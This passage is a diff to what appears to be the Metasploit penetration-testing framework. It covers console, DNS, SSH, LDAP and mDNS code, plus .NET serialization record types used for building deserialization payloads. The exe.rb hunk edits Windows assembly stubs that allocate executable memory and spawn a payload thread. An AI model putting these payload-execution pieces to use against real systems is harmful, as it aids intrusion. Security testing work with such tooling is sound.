print_resolver_rules + upstream_rules = resolver.upstream_rules + print_dns_set('Resolver rule entries', upstream_rules, ids: (1..upstream_rules.length).to_a) + if upstream_rules.empty? + print_line + print_error('No DNS nameserver entries configured') + end + end + # # Display the user-configured DNS settings # @@ -628,12 +694,7 @@ def print_dns end print_line("Current cache size: #{resolver.cache.records.length}") - upstream_rules = resolver.upstream_rules - print_dns_set('Resolver rule entries', upstream_rules, ids: (1..upstream_rules.length).to_a) - if upstream_rules.empty? - print_line - print_error('No DNS nameserver entries configured') - end + print_resolver_rules tbl = Table.new( Table::Style::Default, diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 29623abce971..1381a6dfc93f 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -905,6 +905,10 @@ def cmd_use(*args) print_status("No payload configured, defaulting to #{chosen_payload}") if chosen_payload end + if framework.features.enabled?(Msf::FeatureManager::DISPLAY_MODULE_ACTION) && mod.respond_to?(:actions) && mod.actions.size > 1 + print_status "Using action %grn#{mod.action.name}%clr - view all #{mod.actions.size} actions with the %grnshow actions%clr command" + end + mod.init_ui(driver.input, driver.output) end diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 199980028499..3dc33211908e 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -53,8 +53,6 @@ class Driver < Msf::Ui::Driver # @option opts [Boolean] 'AllowCommandPassthru' (true) Whether to allow # unrecognized commands to be executed by the system shell # @option opts [Boolean] 'Readline' (true) Whether to use the readline or not - # @option opts [Boolean] 'RealReadline' (false) Whether to use the system's - # readline library instead of RBReadline # @option opts [String] 'HistFile' (Msf::Config.history_file) Path to a file # where we can store command history # @option opts [Array] 'Resources' ([]) A list of resource files to @@ -64,7 +62,7 @@ class Driver < Msf::Ui::Driver # @option opts [Boolean] 'SkipDatabaseInit' (false) Whether to skip # connecting to the database and running migrations def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {}) - choose_readline(opts) + setup_readline histfile = opts['HistFile'] || Msf::Config.history_file @@ -132,14 +130,6 @@ def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = { # stack enstack_dispatcher(CommandDispatcher::Core) - # Report readline error if there was one.. - if !@rl_err.nil? - print_error("***") - print_error("* Unable to load readline: #{@rl_err}") - print_error("* Falling back to RbReadLine") - print_error("***") - end - # Load the other "core" command dispatchers CommandDispatchers.each do |dispatcher_class| dispatcher = enstack_dispatcher(dispatcher_class) @@ -621,10 +611,6 @@ def handle_payload(val) return false elsif active_module && (active_module.exploit? || active_module.evasion?) return false unless active_module.is_payload_compatible?(val) - elsif active_module && !framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - active_module.datastore.clear_non_user_defined - elsif framework && !framework.features.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - framework.datastore.clear_non_user_defined end end @@ -706,77 +692,46 @@ def handle_session_tlv_logging(val) # Require the appropriate readline library based on the user's preference. # # @return [void] - def choose_readline(opts) - # Choose a readline library before calling the parent - @rl_err = nil - if opts['RealReadline'] - # Remove the gem version from load path to be sure we're getting the - # stdlib readline. - gem_dir = Gem::Specification.find_all_by_name('rb-readline').first.gem_dir - rb_readline_path = File.join(gem_dir, "lib") - index = $LOAD_PATH.index(rb_readline_path) - # Bundler guarantees that the gem will be there, so it should be safe to - # assume we found it in the load path, but check to be on the safe side. - if index - $LOAD_PATH.delete_at(index) - end - end + def setup_readline + require 'readline' + + # Only Windows requires a monkey-patched RbReadline + return unless Rex::Compat.is_windows + + if defined?(::RbReadline) && !defined?(RbReadline.refresh_console_handle) + ::RbReadline.instance_eval do + class << self + alias_method :old_rl_move_cursor_relative, :_rl_move_cursor_relative + alias_method :old_rl_get_screen_size, :_rl_get_screen_size + alias_method :old_space_to_eol, :space_to_eol + alias_method :old_insert_some_chars, :insert_some_chars + end - begin - require 'readline' - - # Only Windows requires a monkey-patched RbReadline - return unless Rex::Compat.is_windows - - if defined?(::RbReadline) && !defined?(RbReadline.refresh_console_handle) - ::RbReadline.instance_eval do - class << self - alias_method :old_rl_move_cursor_relative, :_rl_move_cursor_relative - alias_method :old_rl_get_screen_size, :_rl_get_screen_size - alias_method :old_space_to_eol, :space_to_eol - alias_method :old_insert_some_chars, :insert_some_chars - end - - def self.refresh_console_handle - # hConsoleHandle gets set only when RbReadline detects it is running on Windows. - # Therefore, we don't need to check Rex::Compat.is_windows, we can simply check if hConsoleHandle is nil or not. - @hConsoleHandle = @GetStdHandle.Call(::Readline::STD_OUTPUT_HANDLE) if @hConsoleHandle - end - - def self._rl_move_cursor_relative(*args) - refresh_console_handle - old_rl_move_cursor_relative(*args) - end - - def self._rl_get_screen_size(*args) - refresh_console_handle - old_rl_get_screen_size(*args) - end - - def self.space_to_eol(*args) - refresh_console_handle - old_space_to_eol(*args) - end - - def self.insert_some_chars(*args) - refresh_console_handle - old_insert_some_chars(*args) - end + def self.refresh_console_handle + # hConsoleHandle gets set only when RbReadline detects it is running on Windows. + # Therefore, we don't need to check Rex::Compat.is_windows, we can simply check if hConsoleHandle is nil or not. + @hConsoleHandle = @GetStdHandle.Call(::Readline::STD_OUTPUT_HANDLE) if @hConsoleHandle + end + + def self._rl_move_cursor_relative(*args) + refresh_console_handle + old_rl_move_cursor_relative(*args) + end + + def self._rl_get_screen_size(*args) + refresh_console_handle + old_rl_get_screen_size(*args) + end + + def self.space_to_eol(*args) + refresh_console_handle + old_space_to_eol(*args) + end + + def self.insert_some_chars(*args) + refresh_console_handle + old_insert_some_chars(*args) end - end - rescue ::LoadError => e - if @rl_err.nil? && index - # Then this is the first time the require failed and we have an index - # for the gem version as a fallback. - @rl_err = e - # Put the gem back and see if that works - $LOAD_PATH.insert(index, rb_readline_path) - index = rb_readline_path = nil - retry - else - # Either we didn't have the gem to fall back on, or we failed twice. - # Nothing more we can do here. - raise e end end end diff --git a/lib/msf/ui/console/module_option_tab_completion.rb b/lib/msf/ui/console/module_option_tab_completion.rb index f8ecd07216e3..578f5f23630b 100644 --- a/lib/msf/ui/console/module_option_tab_completion.rb +++ b/lib/msf/ui/console/module_option_tab_completion.rb @@ -17,10 +17,10 @@ module ModuleOptionTabCompletion # stage since the command itself has been completed. def tab_complete_datastore_names(datastore, _str, _words) keys = ( - Msf::DataStoreWithFallbacks::GLOBAL_KEYS + + Msf::DataStore::GLOBAL_KEYS + datastore.keys ) - keys.concat(datastore.options.values.flat_map(&:fallbacks)) if datastore.is_a?(Msf::DataStoreWithFallbacks) + keys.concat(datastore.options.values.flat_map(&:fallbacks)) if datastore.is_a?(Msf::DataStore) keys.uniq! { |key| key.downcase } keys end diff --git a/lib/msf/util/dot_net_deserialization/enums.rb b/lib/msf/util/dot_net_deserialization/enums.rb index 158e588c59d2..88b82f3ffd18 100644 --- a/lib/msf/util/dot_net_deserialization/enums.rb +++ b/lib/msf/util/dot_net_deserialization/enums.rb @@ -6,6 +6,16 @@ module Enums # # .NET Serialization Enumerations # +BinaryArrayTypeEnum = { + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/4dbbf3a8-6bc4-4dfc-aa7e-36a35be6ff58 + Single: 0, + Jagged: 0, + Rectangular: 2, + SingleOffset: 3, + JaggedOffset: 4, + RectangularOffset: 5 +} + BinaryTypeEnum = { # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/054e5c58-be21-4c86-b1c3-f6d3ce17ec72 Primitive: 0, diff --git a/lib/msf/util/dot_net_deserialization/types.rb b/lib/msf/util/dot_net_deserialization/types.rb index 98978a486327..d4e27872ae39 100644 --- a/lib/msf/util/dot_net_deserialization/types.rb +++ b/lib/msf/util/dot_net_deserialization/types.rb @@ -7,6 +7,7 @@ class Record < BinData::Record; end # forward definition require 'msf/util/dot_net_deserialization/types/primitives' require 'msf/util/dot_net_deserialization/types/general' + require 'msf/util/dot_net_deserialization/types/common_structures' require 'msf/util/dot_net_deserialization/types/record_values' # @@ -16,6 +17,7 @@ class Record < BinData::Record endian :little uint8 :record_type choice :record_value, selection: -> { record_type } do + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/954a0657-b901-4813-9398-4ec732fe8b32 serialization_header_record Enums::RecordTypeEnum[:SerializedStreamHeader] class_with_id Enums::RecordTypeEnum[:ClassWithId] system_class_with_members Enums::RecordTypeEnum[:SystemClassWithMembers] @@ -23,7 +25,7 @@ class Record < BinData::Record system_class_with_members_and_types Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes] class_with_members_and_types Enums::RecordTypeEnum[:ClassWithMembersAndTypes] binary_object_string Enums::RecordTypeEnum[:BinaryObjectString] - #binary_array Enums::RecordTypeEnum[:BinaryArray] + binary_array Enums::RecordTypeEnum[:BinaryArray] #member_primitive_typed Enums::RecordTypeEnum[:MemberPrimitiveTyped] member_reference Enums::RecordTypeEnum[:MemberReference] object_null Enums::RecordTypeEnum[:ObjectNull] @@ -32,10 +34,10 @@ class Record < BinData::Record #object_null_multiple_256 Enums::RecordTypeEnum[:ObjectNullMultiple256] #object_null_multiple Enums::RecordTypeEnum[:ObjectNullMultiple] array_single_primitive Enums::RecordTypeEnum[:ArraySinglePrimitive] - #array_single_object Enums::RecordTypeEnum[:ArraySingleObject] + array_single_object Enums::RecordTypeEnum[:ArraySingleObject] array_single_string Enums::RecordTypeEnum[:ArraySingleString] - #method_call Enums::RecordTypeEnum[:MethodCall] - #method_return Enums::RecordTypeEnum[:MethodReturn] + binary_method_call Enums::RecordTypeEnum[:MethodCall] + binary_method_return Enums::RecordTypeEnum[:MethodReturn] end def self.from_value(record_value, parent: nil) diff --git a/lib/msf/util/dot_net_deserialization/types/common_structures.rb b/lib/msf/util/dot_net_deserialization/types/common_structures.rb new file mode 100644 index 000000000000..b0183f3bf1da --- /dev/null +++ b/lib/msf/util/dot_net_deserialization/types/common_structures.rb @@ -0,0 +1,70 @@ +module Msf +module Util +module DotNetDeserialization +module Types +module CommonStructures + + # + # .NET Serialization Types (Common Structures) + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/acd7fe17-615c-467f-b700-e5e8761b8637 + # + class ValueWithCode < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/0418b4a2-1e52-45dc-8622-1b619fa3ffec + endian :little + + uint8 :primitive_type_enum + choice :val, selection: :primitive_type_enum do + boolean Enums::PrimitiveTypeEnum[:Boolean] + uint8 Enums::PrimitiveTypeEnum[:Byte] + double Enums::PrimitiveTypeEnum[:Double] + int16 Enums::PrimitiveTypeEnum[:Int16] + int32 Enums::PrimitiveTypeEnum[:Int32] + int64 Enums::PrimitiveTypeEnum[:Int64] + int8 Enums::PrimitiveTypeEnum[:SByte] + float Enums::PrimitiveTypeEnum[:Single] + int64 Enums::PrimitiveTypeEnum[:TimeSpan] + date_time Enums::PrimitiveTypeEnum[:DateTime] + uint16 Enums::PrimitiveTypeEnum[:UInt16] + uint32 Enums::PrimitiveTypeEnum[:UInt32] + uint64 Enums::PrimitiveTypeEnum[:UInt64] + null Enums::PrimitiveTypeEnum[:Null] + length_prefixed_string Enums::PrimitiveTypeEnum[:String] + end + end + + class StringValueWithCode < BinData::Primitive + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ecc20dd0-1d83-4a22-b4b2-23c58b03dffc + endian :little + + uint8 :primitive_type_enum, value: Enums::PrimitiveTypeEnum[:String] + length_prefixed_string :string_value + + def get + self.string_value + end + + def set(v) + self.string_value = value + end + end + + class ArrayOfValueWithCode < BinData::Primitive + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/330f623e-7412-46c9-8ae0-59543bbfee86 + endian :little + + int32 :list_length, initial_value: -> { list_of_value_with_code.length } + array :list_of_value_with_code, type: :value_with_code, initial_length: :list_length + + def get + self.list_of_value_with_code + end + + def set(v) + self.list_of_value_with_code = v + end + end +end +end +end +end +end diff --git a/lib/msf/util/dot_net_deserialization/types/general.rb b/lib/msf/util/dot_net_deserialization/types/general.rb index 90ea973f098b..9ee06616756e 100644 --- a/lib/msf/util/dot_net_deserialization/types/general.rb +++ b/lib/msf/util/dot_net_deserialization/types/general.rb @@ -80,6 +80,31 @@ def selection_routine(index) end end + class MessageFlags < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/67213df2-7c15-4543-8e08-42ae0f7c66bf + endian :little + + bit1 :method_signature_in_array + bit1 :context_in_array + bit1 :context_inline + bit1 :no_context + bit1 :args_in_array + bit1 :args_is_array + bit1 :args_inline + bit1 :no_args + + bit1 :generic_method + bit1 :unused1 + bit1 :exception_in_array + bit1 :return_value_in_array + bit1 :return_value_inline + bit1 :return_value_void + bit1 :no_return_value + bit1 :properties_in_array + + uint16 :unused2 + end + end end end diff --git a/lib/msf/util/dot_net_deserialization/types/record_values.rb b/lib/msf/util/dot_net_deserialization/types/record_values.rb index 79cfd2fc38d0..aec8dc881500 100644 --- a/lib/msf/util/dot_net_deserialization/types/record_values.rb +++ b/lib/msf/util/dot_net_deserialization/types/record_values.rb @@ -30,6 +30,13 @@ class ArraySinglePrimitive < BinData::Record end end + class ArraySingleObject < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/982b2f50-6367-402a-aaf2-44ee96e2a5e0 + RECORD_TYPE = Enums::RecordTypeEnum[:ArraySingleObject] + endian :little + array_info :array_info + end + class ArraySingleString < BinData::Record # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/3d98fd60-d2b4-448a-ac0b-3cd8dea41f9d RECORD_TYPE = Enums::RecordTypeEnum[:ArraySingleString] @@ -38,6 +45,43 @@ class ArraySingleString < BinData::Record array :members, type: :record, initial_length: -> { array_info.member_count } end + class BinaryArray < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/9c62c928-db4e-43ca-aeba-146256ef67c2 + RECORD_TYPE = Enums::RecordTypeEnum[:BinaryArray] + endian :little + obj_id :obj_id + uint8 :binary_array_type_enum + int32 :rank + array :lengths, type: :int32, initial_length: :rank + array :lower_bounds, type: :int32, initial_length: :rank, onlyif: :has_lower_bounds? + uint8 :type_enum + choice :additional_type_info, selection: :type_enum, onlyif: :has_additional_type_info? do + uint8 Enums::BinaryTypeEnum[:Primitive] + length_prefixed_string Enums::BinaryTypeEnum[:SystemClass] + class_type_info Enums::BinaryTypeEnum[:Class] + uint8 Enums::BinaryTypeEnum[:PrimitiveArray] + end + + private + + def has_additional_type_info? + [ + Enums::BinaryTypeEnum[:Primitive], + Enums::BinaryTypeEnum[:SystemClass], + Enums::BinaryTypeEnum[:Class], + Enums::BinaryTypeEnum[:PrimitiveArray], + ].include? type_enum + end + + def has_lower_bounds? + [ + Enums::BinaryArrayTypeEnum[:SingleOffset], + Enums::BinaryArrayTypeEnum[:JaggedOffset], + Enums::BinaryArrayTypeEnum[:RectangleOffset] + ].include? binary_array_type_enum + end + end + class BinaryLibrary < BinData::Record # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/7fcf30e1-4ad4-4410-8f1a-901a4a1ea832 RECORD_TYPE = Enums::RecordTypeEnum[:BinaryLibrary] @@ -46,6 +90,27 @@ class BinaryLibrary < BinData::Record length_prefixed_string :library_name end + class BinaryMethodCall < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ddb4da3d-8cd7-414f-b984-1a509d985bd2 + RECORD_TYPE = Enums::RecordTypeEnum[:MethodCall] + endian :little + message_flags :message_enum + string_value_with_code :method_name + string_value_with_code :type_name + string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 } + array_of_value_with_code :args, onlyif: -> { message_enum.args_inline != 0 } + end + + class BinaryMethodReturn < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/1b34e743-38ac-47bd-8c8d-2fca1cd417b7 + RECORD_TYPE = Enums::RecordTypeEnum[:MethodReturn] + endian :little + message_flags :message_enum + value_with_code :return_value, onlyif: -> { message_enum.return_value_inline != 0 } + string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 } + array_of_value_with_code :args, onlyif: -> { message_enum.args_inline != 0 } + end + class BinaryObjectString < BinData::Record # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/eb503ca5-e1f6-4271-a7ee-c4ca38d07996 RECORD_TYPE = Enums::RecordTypeEnum[:BinaryObjectString] @@ -137,6 +202,7 @@ class SystemClassWithMembersAndTypes < BinData::Record extend Primitives::MemberValues::Factory end + end end end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index f0ea9e4c8a83..5ee1d6ace4ba 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1836,15 +1836,15 @@ def self.win32_rwx_exec(code) ; Note: Execution is not expected to (successfully) continue past this block exitfunk: - mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user... + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" ) mov eax, ebp call eax ; GetVersion(); (AL will = major version and AH will = minor version) cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 jl goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: ; We now perform the actual call to the exit function push byte 0 ; push the exit function parameter push ebx ; push the hash of the exit function @@ -1867,7 +1867,7 @@ def self.win32_rwx_exec(code) push 0x1000 ; MEM_COMMIT push esi ; Push the length value of the wrapped code block push byte 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); mov ebx, eax ; Store allocated address in ebx @@ -1946,14 +1946,14 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') ; Note: Execution is not expected to (successfully) continue past this block exitfunk: - mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user... + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" ) call ebp ; GetVersion(); (AL will = major version and AH will = minor version) cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 jl goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: ; We now perform the actual call to the exit function push byte 0 ; push the exit function parameter push ebx ; push the hash of the exit function @@ -1977,7 +1977,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') push 0x1000 ; MEM_COMMIT push esi ; Push the length value of the wrapped code block push byte 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); mov ebx, eax ; Store allocated address in ebx @@ -2002,7 +2002,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) push eax ; SIZE_T dwStackSize (0 for default) push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) - push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" ) call ebp ; Spawn payload thread pop eax ; Skip diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index c546aa8dc195..1255d96c28ae 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -75,7 +75,7 @@ def collapse_list "#{__dir__}/msf/core/rpc/v10", "#{__dir__}/msf/core/payload/osx/x64", "#{__dir__}/msf/core/payload/windows/x64", - "#{__dir__}/msf/core/payload/linux/x64", + # "#{__dir__}/msf/core/payload/linux/x64", "#{__dir__}/msf/core/web_services/servlet", "#{__dir__}/msf/base", "#{__dir__}/rex/parser/fs" @@ -297,7 +297,8 @@ def custom_inflections 'appapi' => 'AppApi', 'uds_errors' => 'UDSErrors', 'smb_hash_capture' => 'SMBHashCapture', - 'rex_ntlm' => 'RexNTLM' + 'rex_ntlm' => 'RexNTLM', + 'teamcity' => 'TeamCity' } end diff --git a/lib/net/ssh/command_stream.rb b/lib/net/ssh/command_stream.rb index 16bccbb0712a..352c04a96c22 100644 --- a/lib/net/ssh/command_stream.rb +++ b/lib/net/ssh/command_stream.rb @@ -2,7 +2,7 @@ class Net::SSH::CommandStream - attr_accessor :channel, :thread, :error, :ssh + attr_accessor :channel, :thread, :error, :ssh, :session, :logger attr_accessor :lsock, :rsock, :monitor module PeerInfo @@ -13,7 +13,8 @@ module PeerInfo def shell_requested(channel, success) unless success - raise Net::SSH::ChannelRequestFailed, 'Shell/exec channel request failed' + error = Net::SSH::ChannelRequestFailed.new('Shell/exec channel request failed') + handle_error(error: error) end self.channel = channel @@ -40,7 +41,9 @@ def shell_requested(channel, success) end end - def initialize(ssh, cmd = nil, pty: false, cleanup: false) + def initialize(ssh, cmd = nil, pty: false, cleanup: false, session: nil, logger: nil) + self.session = session + self.logger = logger self.lsock, self.rsock = Rex::Socket.tcp_socket_pair() self.lsock.extend(Rex::IO::Stream) self.lsock.extend(PeerInfo) @@ -74,21 +77,30 @@ def initialize(ssh, cmd = nil, pty: false, cleanup: false) end channel.on_open_failed do |ch, code, desc| - raise Net::SSH::ChannelOpenFailed.new(code, 'Session channel open failed') + error = Net::SSH::ChannelOpenFailed.new(code, 'Session channel open failed') + handle_error(error: error) end self.monitor = Thread.new do - while(true) - next if not self.rsock.has_read_data?(1.0) - buff = self.rsock.read(16384) - break if not buff - verify_channel - self.channel.send_data(buff) if buff + begin + Kernel.loop do + next if not self.rsock.has_read_data?(1.0) + + buff = self.rsock.read(16384) + break if not buff + + verify_channel + self.channel.send_data(buff) if buff + end + rescue ::StandardError => e + handle_error(error: e) end end - while true - rssh.process(0.5) { true } + begin + Kernel.loop { rssh.process(0.5) { true } } + rescue ::StandardError => e + handle_error(error: e) end # Shut down the SSH session if requested @@ -96,9 +108,9 @@ def initialize(ssh, cmd = nil, pty: false, cleanup: false) rssh.close end end - rescue ::Exception => e + rescue ::StandardError => e # XXX: This won't be set UNTIL there's a failure from a thread - self.error = e + handle_error(error: e) ensure self.monitor.kill if self.monitor end @@ -113,7 +125,18 @@ def verify_channel end end + def handle_error(error: nil) + self.error = error if error + + if self.logger + self.logger.print_error("SSH Command Stream encountered an error: #{self.error} (Server Version: #{self.ssh.transport.server_version.version})") + end + + cleanup + end + def cleanup + self.session.alive = false if self.session self.monitor.kill self.lsock.close rescue nil self.rsock.close rescue nil diff --git a/lib/rex/post/ldap/ui/console/command_dispatcher/client.rb b/lib/rex/post/ldap/ui/console/command_dispatcher/client.rb index 6b74c09c7a3d..28dde785a7ac 100644 --- a/lib/rex/post/ldap/ui/console/command_dispatcher/client.rb +++ b/lib/rex/post/ldap/ui/console/command_dispatcher/client.rb @@ -104,7 +104,12 @@ def cmd_query_help end def cmd_getuid - username = client.ldapwhoami + begin + username = client.ldapwhoami + rescue Net::LDAP::Error => e + print_error(e.message) + return + end username.delete_prefix!('u:') print_status("Server username: #{username}") end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb index b58f4dfb7010..46d06a76e07a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb @@ -189,7 +189,7 @@ def cmd_dhcp_load_options(*args) datastore = args.shift - unless datastore.is_a?(Hash) || datastore.is_a?(Msf::DataStoreWithFallbacks) + unless datastore.is_a?(Hash) || datastore.is_a?(Msf::DataStore) print_dhcp_load_options_usage return true end diff --git a/lib/rex/proto/dns/cached_resolver.rb b/lib/rex/proto/dns/cached_resolver.rb index 5fd92ae31a53..1b02b23ee003 100644 --- a/lib/rex/proto/dns/cached_resolver.rb +++ b/lib/rex/proto/dns/cached_resolver.rb @@ -62,7 +62,11 @@ def send(argument, type = Dnsruby::Types::A, cls = Dnsruby::Classes::IN) resolved = super(resolve, type) req.instance_variable_set(:@answer, (req.answer + resolved.answer).uniq) resolved.answer.each do |ans| - self.cache.cache_record(ans) + begin + self.cache.cache_record(ans) + rescue StandardError => e + elog('Failed to cache the DNS answer', error: e) + end end end # Finalize answers in response diff --git a/lib/rex/proto/dns/custom_nameserver_provider.rb b/lib/rex/proto/dns/custom_nameserver_provider.rb index eb0dca1293a9..151d8adc5980 100755 --- a/lib/rex/proto/dns/custom_nameserver_provider.rb +++ b/lib/rex/proto/dns/custom_nameserver_provider.rb @@ -132,9 +132,9 @@ def add_upstream_rule(resolvers, comm: nil, wildcard: '*', index: -1) end # - # Remove upstream rules with the given indexes + # Remove upstream rules with the given indices # Ignore entries that are not found - # @param ids [Array] The IDs to removed + # @param ids [Array] The IDs to remove # @return [Array] The removed entries def remove_ids(ids) removed = [] @@ -146,6 +146,47 @@ def remove_ids(ids) removed.reverse end + # + # Move upstream rules with the given indices into the location provided. + # If multiple IDs are provided, they will all be inserted into the provided location, + # in the order provided. + # Ignore entries that are not found + # @param ids [Array] The IDs to move + # @param insertion_id [Integer] The ID to insert the entries at (in the order provided), or -1 to insert at the end + # @return [Array] The moved entries + def reorder_ids(ids, new_id) + if new_id == -1 + new_id = @upstream_rules.length + end + if new_id > @upstream_rules.length + raise ::ArgumentError.new("Insertion ID is past the end of the ruleset") + end + to_move = [] + to_subtract = 0 + # Get the entries before we delete (gets too complicated with indices changing otherwise) + ids.each do |id| + upstream_rule = @upstream_rules[id] + unless upstream_rule.nil? + to_move << upstream_rule + if new_id > id + to_subtract += 1 # Adjust for the fact that are about to delete one, so the indices would be off-by-one after that index is deleted + end + end + end + + new_id -= to_subtract + + ids.sort.reverse.each do |id| + @upstream_rules.delete_at(id) + end + + to_move.reverse.each do |rule| + @upstream_rules.insert(new_id, rule) + end + + to_move + end + def flush @upstream_rules.clear end diff --git a/lib/rex/proto/dns/server.rb b/lib/rex/proto/dns/server.rb index a324b11b3b9b..03cb63a45517 100644 --- a/lib/rex/proto/dns/server.rb +++ b/lib/rex/proto/dns/server.rb @@ -9,8 +9,11 @@ module DNS class Server class MockDnsClient + extend Forwardable attr_reader :peerhost, :peerport, :srvsock + def_delegators :@srvsock, :localhost, :localport, :sendto + # # Create mock DNS client # diff --git a/lib/rex/proto/ldap.rb b/lib/rex/proto/ldap.rb index a851bac39f19..f285fcf08a49 100644 --- a/lib/rex/proto/ldap.rb +++ b/lib/rex/proto/ldap.rb @@ -1,3 +1,4 @@ +require 'forwardable' require 'net/ldap' require 'rex/socket' @@ -205,6 +206,8 @@ def initialize(server) if server[:encryption] setup_encryption server[:encryption] + @conn.extend Forwardable + @conn.def_delegators :@io, :localinfo, :peerinfo end yield self if block_given? diff --git a/lib/rex/proto/ldap/client.rb b/lib/rex/proto/ldap/client.rb index d835351edd91..6148b1e1410f 100644 --- a/lib/rex/proto/ldap/client.rb +++ b/lib/rex/proto/ldap/client.rb @@ -121,12 +121,16 @@ def discover_base_dn end # Monkeypatch upstream library to support the extended Whoami request. Delete - # this after https://github.com/ruby-ldap/ruby-net-ldap/pull/425 is landed. + # this after https://github.com/ruby-ldap/ruby-net-ldap/pull/425 is released. # This is not the only occurrence of a patch for this functionality. def ldapwhoami(args = {}) instrument "ldapwhoami.net_ldap", args do |payload| @result = use_connection(args, &:ldapwhoami) - @result.success? ? @result.extended_response : nil + if @result.success? + @result.extended_response + else + raise Net::LDAP::Error, "#{peerinfo} LDAP Error: #{@result.error_message}" + end end end end diff --git a/lib/rex/proto/mdns/server.rb b/lib/rex/proto/mdns/server.rb new file mode 100644 index 000000000000..8c6cadf20e7b --- /dev/null +++ b/lib/rex/proto/mdns/server.rb @@ -0,0 +1,19 @@ +# -*- coding: binary -*- + +require 'rex/socket' +module Rex + module Proto + module MDNS + class Server < Rex::Proto::DNS::Server + def initialize(lhost = '0.0.0.0', lport = 5353, start_cache = false, res = nil, comm = nil, _ctx = {}, dblock = nil, + sblock = nil) + super(lhost, lport, true, false, start_cache, res, comm, dblock, sblock) + end + + def alias + 'mDNS Server' + end + end + end + end +end diff 